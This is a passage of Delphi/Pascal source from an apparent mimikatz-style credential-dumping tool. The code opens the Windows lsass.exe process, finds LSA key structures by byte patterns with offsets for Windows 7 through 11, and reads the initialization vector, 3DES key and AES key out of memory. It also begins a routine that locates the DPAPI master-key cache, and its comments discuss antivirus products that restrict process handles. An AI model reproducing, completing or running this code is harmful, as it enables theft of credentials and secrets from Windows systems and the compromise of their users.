IV_OFFSET:=5 ; DES_OFFSET:=-76 ; AES_OFFSET:=-21 ; //tested on win7
end;
if lowercase(osarch) ='amd64' then
begin
if copy(winver,1,3)='6.1' then //win7
begin
setlength(pattern,sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY));
CopyMemory(@pattern[0],@PTRN_WNO8_LsaInitializeProtectedMemory_KEY[0],sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY));
IV_OFFSET := 59; DES_OFFSET := -61; AES_OFFSET := 25;
end;
if copy(winver,1,3)='6.3' then //win8
begin
setlength(pattern,sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY));
CopyMemory(@pattern[0],@PTRN_WIN8_LsaInitializeProtectedMemory_KEY[0],sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY));
IV_OFFSET:=62 ; DES_OFFSET:=-70 ; AES_OFFSET:=23 ; //tested on win8
end;
if copy(winver,1,3)='10.' then //win10
begin
setlength(pattern,sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY));
CopyMemory(@pattern[0],@PTRN_WN10_LsaInitializeProtectedMemory_KEY[0],sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY));
IV_OFFSET:=61 ; DES_OFFSET:=-73 ; AES_OFFSET:=16 ; //tested on 1709
end;
if (pos('-1809',winver)>0) or (pos('-1903',winver)>0) or (pos('-1909',winver)>0)
or (pos('-2004',winver)>0)
or (pos('-20H2',winver)>0) or (pos('-21H1',winver)>0)
or (pos('-22H2',winver)>0)
or (pos('-21H2',winver)>0) //win 11
then //win10 1809+
begin
setlength(pattern,sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY));
CopyMemory(@pattern[0],@PTRN_WN10_LsaInitializeProtectedMemory_KEY[0],sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY));
IV_OFFSET:=67 ; DES_OFFSET:=-89 ; AES_OFFSET:=16 ;
//{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_WN10_LsaInitializeProtectedMemory_KEY), PTRN_WN10_LsaInitializeProtectedMemory_KEY}, {0, NULL}, {67, -89, 16}},
end;
end;
if IV_OFFSET=0 then
begin
log('no offset defined for this OS',1);
exit;
end;
log('IV_OFFSET:'+inttostr(IV_OFFSET));
log('DES_OFFSET:'+inttostr(DES_OFFSET));
log('AES_OFFSET:'+inttostr(AES_OFFSET));
//*************************
//lets search keySigOffset "offline" i.e NOT in lsass.exe
writeln('offline in');
hmod:=loadlibrary(pchar(module));
log('hMod:'+inttohex(hmod,sizeof(pointer)),0);
fillchar(MODINFO,sizeof(MODINFO),0);
GetModuleInformation (getcurrentprocess,hmod,MODINFO ,sizeof(MODULEINFO));
keySigOffset:=SearchMem(getcurrentprocess,MODINFO.lpBaseOfDll ,MODINFO.SizeOfImage,pattern);
log('keySigOffset:'+inttohex(keySigOffset,sizeof(pointer)),0); //dd lsasrv!LsaInitializeProtectedMemory
writeln('offline out');
//lets search in lsass mem now
hprocess2:=openprocess( PROCESS_CREATE_PROCESS,false,pid);
//hprocess2:=openprocess( PROCESS_CREATE_PROCESS,false,clone);
InitializeObjectAttributes(oa,nil,0,0,nil);
cid.UniqueProcess :=pid;
cid.UniqueThread :=0;
status:=NtOpenProcess(@hprocess,PROCESS_VM_READ ,@oa,@cid);
write('NtOpenProcess ');
writeln(hprocess);
//automate if basic method fails
(*
if gethandles (upsapi._EnumProc2('wininit.exe'),'process',@callback2 ) then log('gethandles OK') else log('gethandles NOK');
hprocess:= lsass_handle;
*)
//
if (hprocess=thandle(-1)) or (hprocess=0) then
begin
writeln('openprocess failed - '+inttostr(getlasterror));
exit;
end
else writeln('hprocess size:'+inttohex(hprocess,sizeof(hprocess)));
dwSize :=sizeof(_OBJECT_BASIC_INFORMATION);
objectTypeInfo :=allocmem(dwSize);
//some AV's like bitdefender will return a handle with grantedaccess=0
//or duplicated grantedaccess=1FFFCF
//in both cases, we are missing PROCESS_VM_READ ...
writeln('here');
status:= NtQueryObject(hprocess,ObjectBasicInformation,objectTypeInfo,dwSize,@dwSize);
write('Status ');
writeln(status);
if status=0
then
begin
writeln('GrantedAccess:'+inttohex(OBJECT_BASIC_INFORMATION(objectTypeInfo^).GrantedAccess,sizeof(dword) ));
if (OBJECT_BASIC_INFORMATION(objectTypeInfo^).GrantedAccess and PROCESS_VM_READ) <> PROCESS_VM_READ
then writeln('PROCESS_VM_READ failed');
end
else log('NtQueryObject failed - '+inttohex(status,sizeof(status)));
freemem(objectTypeInfo);
//we dont need the below apart from testing if module is loaded in lsass ...
{
lsasrvMem:=0;
EnumProcessModules(hprocess, @hMods, SizeOf(hmodule)*1024, cbNeeded);
for count:=0 to cbneeded div sizeof(thandle) do
begin
GetModuleFileNameExA( hProcess, hMods[count], szModName,sizeof(szModName) );
dummy:=lowercase(strpas(szModName ));
//writeln(dummy);
if pos(module,dummy)>0 then
begin
lsasrvMem:=hMods[count];
log('lsasrvMem:'+inttohex(lsasrvMem,sizeof(lsasrvMem)));
break;
end;
end;
if lsasrvMem=0 then exit;
}
//InitializationVector
//Retrieve offset to InitializationVector address due to "lea reg, [InitializationVector]" instruction
//hprocess:=clone;
writeln('dopo error');
ivOffset:=0;
if ReadMem(hprocess, keySigOffset + IV_OFFSET, @ivOffset, 4)=false then
begin
log('ReadMem=false '+inttohex(keySigOffset + IV_OFFSET,sizeof(pointer)));
writeln('readmem 1 '+winver);
exit;
end;
{$ifdef CPU64}
ivOffset:=keySigOffset + IV_OFFSET+ivOffset+4;
{$endif CPU64}
//will match dd lsasrv!InitializationVector
log('IV_OFFSET:'+inttohex(ivOffset,sizeof(pointer)),0); //dd InitializationVector
setlength(iv,16);
if ReadMem(hprocess, ivoffset, @iv[0], 16)=false then
begin
log('ReadMem=false '+inttohex(ivoffset,sizeof(pointer)));
end;
log('IV:'+ByteToHexaString (IV),0);
//keySigOffset:7FFEEE887696
//target : 7ffeee94d998
//delta : 0C6302 // found : 44 63 0c 00 - 0c6344 - 0c6302=66 +4 = 70
//keySigOffset + DES_OFFSET = 7FFEEE887650 //DES_OFFSET:=-70
//7FFEEE94D9DA
//h3DesKey
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction
desOffset:=0;
if ReadMem(hprocess, keySigOffset + DES_OFFSET, @desOffset, 4)=false then
begin
log('ReadMem=false '+inttohex(keySigOffset + DES_OFFSET,sizeof(pointer)));
writeln(winver);
exit;
end;
{$ifdef CPU64}
desOffset:=keySigOffset + DES_OFFSET+desOffset+4;
{$endif CPU64}
//will match dd lsasrv!h3DesKey
log('DES_OFFSET:'+inttohex(desOffset,sizeof(pointer)));
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
if ReadMem(hprocess, desOffset, @keyPointer, sizeof(keyPointer))=false then writeln('readmem=false');
//writeln('keyPointer:'+inttohex(keyPointer,sizeof(pointer)));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
if ReadMem(hprocess, keyPointer, @h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY))=false then writeln('readmem=false');
log('TAG:'+strpas(h3DesKey.tag ));
// Read in the 3DES key
log('DES:');
writeln(winver);
if (winver='6.3.9600') or (copy(winver,1,3)='10.') or (copy(winver,1,3)='11.') then
begin
//extracted3DesKey:=allocmem(sizeof(KIWI_BCRYPT_KEY81)); //we could for a pointer and then typecast
//writeln('h3DesKey.key:'+inttohex(nativeuint(h3DesKey.key),sizeof(pointer)));
if ReadMem(hprocess, nativeuint(h3DesKey.key), @extracted3DesKey81, sizeof(KIWI_BCRYPT_KEY81))=false then writeln('readmem=false');
log('BCRYPT_KEY81TAG:'+strpas(extracted3DesKey81.tag ));
//writeln('hardkey cbSecret:'+inttostr(extracted3DesKey81.hardkey.cbSecret ));
//for i:=0 to extracted3DesKey81.hardkey.cbSecret -1 do write(inttohex(extracted3DesKey81.hardkey.data[i],2));;
setlength(DesKey ,extracted3DesKey81.hardkey.cbSecret);
copymemory(@DesKey [0],@extracted3DesKey81.hardkey.data[0],extracted3DesKey81.hardkey.cbSecret);
log(ByteToHexaString(deskey));
end
else
begin
if ReadMem(hprocess, nativeuint(h3DesKey.key), @extracted3DesKey, sizeof(KIWI_BCRYPT_KEY))=false then writeln('readmem=false');
log('KIWI_BCRYPT_KEY:'+strpas(extracted3DesKey.tag ));
//for i:=0 to extracted3DesKey.hardkey.cbSecret -1 do write(inttohex(extracted3DesKey.hardkey.data[i],2));;
setlength(DesKey ,extracted3DesKey.hardkey.cbSecret);
copymemory(@DesKey [0],@extracted3DesKey.hardkey.data[0],extracted3DesKey.hardkey.cbSecret);
log(ByteToHexaString(deskey));
end;
//hAesKey
//Retrieve offset to hAesKey address due to "lea reg, [hAesKey]" instruction
aesOffset:=0;
if ReadMem(hprocess, keySigOffset + AES_OFFSET, @aesOffset, 4)=false then
begin
log('ReadMem=false '+inttohex(keySigOffset + AES_OFFSET,sizeof(pointer)));
exit;
end;
{$ifdef CPU64}
aesOffset:=keySigOffset + AES_OFFSET+aesOffset+4;
{$endif CPU64}
//will match dd lsasrv!hAesKey
log('AES_OFFSET:'+inttohex(aesOffset,sizeof(pointer)));
// Retrieve pointer to h3AesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct
ReadMem(hprocess, aesOffset, @keyPointer, sizeof(nativeuint));
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass
ReadMem(hprocess, keyPointer, @hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY));
// Read in AES key
log('AES:');
if (winver='6.3.9600') or (copy(winver,1,3)='10.') or (copy(winver,1,3)='11.') then
begin
//extracted3DesKey:=allocmem(sizeof(KIWI_BCRYPT_KEY81)); //we could for a pointer and then typecast
//writeln('h3DesKey.key:'+inttohex(nativeuint(h3DesKey.key),sizeof(pointer)));
if ReadMem(hprocess, nativeuint(hAesKey.key), @extractedAesKey81, sizeof(KIWI_BCRYPT_KEY81))=false then writeln('readmem=false');
log('BCRYPT_KEY81TAG:'+strpas(extracted3DesKey81.tag ));
//for i:=0 to extractedAesKey81.hardkey.cbSecret -1 do write(inttohex(extractedAesKey81.hardkey.data[i],2));;
setlength(aesKey ,extractedAesKey81.hardkey.cbSecret);
copymemory(@aesKey [0],@extractedAesKey81.hardkey.data[0],extractedAesKey81.hardkey.cbSecret);
log(ByteToHexaString(aesKey));
end
else
begin
ReadMem(hprocess, nativeuint(hAesKey.key), @extractedAesKey, sizeof(KIWI_BCRYPT_KEY));
log('BCRYPT_KEYTAG:'+strpas(extractedAesKey.tag ));
//for i:=0 to extractedAesKey.hardkey.cbSecret -1 do write(inttohex(extractedAesKey.hardkey.data[i],2));;
setlength(aesKey ,extractedAesKey.hardkey.cbSecret);
copymemory(@aesKey [0],@extractedAesKey.hardkey.data[0],extractedAesKey.hardkey.cbSecret);
log(ByteToHexaString(aesKey));
end;
result:=true;
end;
function dpapi(pid:dword;save:boolean=false):boolean;
const
PTRN_W2K3_MasterKeyCacheList:array [0..7] of byte= ($4d, $3b, $ee, $49, $8b, $fd, $0f, $85);
PTRN_WI60_MasterKeyCacheList:array [0..7] of byte= ($49, $3b, $ef, $48, $8b, $fd, $0f, $84);
PTRN_WI61_MasterKeyCacheList:array [0..6] of byte= ($33, $c0, $eb, $20, $48, $8d, $05); // InitializeKeyCache to avoid version change
PTRN_WI62_MasterKeyCacheList:array [0..12] of byte= ($4c, $89, $1f, $48, $89, $47, $08, $49, $39, $43, $08, $0f, $85);
PTRN_WI63_MasterKeyCacheList:array [0..6] of byte= ($08, $48, $39, $48, $08, $0f, $85);
PTRN_WI64_MasterKeyCacheList:array [0..7] of byte= ($48, $89, $4e, $08, $48, $39, $48, $08);
PTRN_WI64_1607_MasterKeyCacheList:array [0..7] of byte= ($48, $89, $4f, $08, $48, $89, $78, $08);
//
PTRN_WALL_MasterKeyCacheList_x86:array [0..3] of byte= ($33, $c0, $40, $a3);